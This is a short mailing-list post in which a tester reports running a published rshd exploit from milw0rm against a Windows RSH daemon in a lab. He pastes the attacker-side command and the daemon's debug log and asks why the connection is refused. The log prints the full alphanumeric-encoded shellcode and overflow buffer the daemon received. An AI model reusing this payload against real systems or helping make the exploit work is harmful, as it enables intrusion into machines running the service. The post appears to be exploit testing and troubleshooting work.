Running a test of rshd:
http://milw0rm.com/exploits/4222
On the attacker side I get the following:
#./a.out 192.168.1.85
error: Connection refused
on the Windows side:
C:\Documents and Settings\Administrator\Desktop\rshd-bin-1.7\rshd-1.7\bin>rshd.e
xe -d -r
[0] .rhosts checking disabled!
Debugging RSH Daemon.
[0] Checking winsock.dll version...
[0] Creating socket...
[0] Binding socket...
[0] Listening...
[0] Ready for connections...
[0] Accepting connection...
[1] Client connected!
[1] Starting client thread...
[1] Accepting connection...
[1] Thread started...
[1] Setting options on the main socket...
[1] Processing client data...
[1] Receiving...
[1] ...got 1033 chars.
[1] ...got 0 chars.
[1] Remote user name: A
[1] Local user name: A
[1] Command: 'AAAAAAAAAAAAAÎâYÎâÎÂ
IIIIIIIIIIIIIIIIIQ7ZjfXP0A1BAkAAvA2AA2BA0BA
XP8ABuyyKL2JzKBmxhL9KOKOKOu0nkBLEtq4lKAUWLNk3LS5QhUQhoLKroVxnkaOwPva8kRiNk6TNkgq
JNvQO0mINLMTKpAdC7KqkzvmTAO2zKjTEk3dVDwX45kULKaOFDUQXk1vlKFl0KNkaOuLdA8kS3TlLKmY
PlddUL0akstqKkQtLKQSp0LKw06lLKrP5LNMlKspWx1NBHNnPNvnZL0PkOIFu6V3SVu87C4r58t7T3Dr
coqDKOzpBH8K8mkLGK0PKON6QOOyM5BFK1zM38Wrv5azFbKOn0QxKigyYelmAGKOn6ACV3v3RspSQSpS
2c2skON0AvbH6GTOAvrsOyIqNu1xnDgjd0O7pWion6pjtPbqseKO8PbHLdNMdnXibwKOzvPSQE9oXPqx
kUSyovSy679oyFrpaD3dbuYoHPJ3Qxm7qiyVqipWkOn6QEion0E6cZAt56rH0cPmoyYucZRpCi7YXLOy
ywRJ3tMY9rUaO0zSmzynG2vMinG24lmClMrZTxNKLklku8RRKNNSUFyoqeATYoN6CkqGQBRqbqRqQz31
V1F1QEPQYoN0PhLmn9S5jnbsIoZvPjYoKO4wYoZplK2w9llCKtatkOjvPRyon0BHzOjnYpcPBsKOHVyo
N0fAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAâ6
Âq'
[1] Checking client...
[1] Client port: 514...
[1] Sending null byte result...
[1] Executing 'AAAAAAAAAAAAAÎâYÎâÎÂ
IIIIIIIIIIIIIIIIIQ7ZjfXP0A1BAkAAvA2AA2BA0B
AXP8ABuyyKL2JzKBmxhL9KOKOKOu0nkBLEtq4lKAUWLNk3LS5QhUQhoLKroVxnkaOwPva8kRiNk6TNkg
qJNvQO0mINLMTKpAdC7KqkzvmTAO2zKjTEk3dVDwX45kULKaOFDUQXk1vlKFl0KNkaOuLdA8kS3TlLKm
YPlddUL0akstqKkQtLKQSp0LKw06lLKrP5LNMlKspWx1NBHNnPNvnZL0PkOIFu6V3SVu87C4r58t7T3D
rcoqDKOzpBH8K8mkLGK0PKON6QOOyM5BFK1zM38Wrv5azFbKOn0QxKigyYelmAGKOn6ACV3v3RspSQSp
S2c2skON0AvbH6GTOAvrsOyIqNu1xnDgjd0O7pWion6pjtPbqseKO8PbHLdNMdnXibwKOzvPSQE9oXPq
xkUSyovSy679oyFrpaD3dbuYoHPJ3Qxm7qiyVqipWkOn6QEion0E6cZAt56rH0cPmoyYucZRpCi7YXLO
yywRJ3tMY9rUaO0zSmzynG2vMinG24lmClMrZTxNKLklku8RRKNNSUFyoqeATYoN6CkqGQBRqbqRqQz3
1V1F1QEPQYoN0PhLmn9S5jnbsIoZvPjYoKO4wYoZplK2w9llCKtatkOjvPRyon0BHzOjnYpcPBsKOHVy
oN0fAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAâ
6Âq >C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\s1m0.
2>C:\DOCUME~1\ADMINI~1\LOCALS~1\Te
mp\s1m0.1'...
[1] Sending results...
*** [1] ERROR: Error sending results.
[1] Winsock error: Invalid socket descriptor.
C:\Documents and Settings\Administrator\Desktop\rshd-bin-1.7\rshd-1.7\bin>
Any suggestions?
Thanks,
Brian
--
Brian Toovey
admin@vulntrac.com
http://vulntrac.com
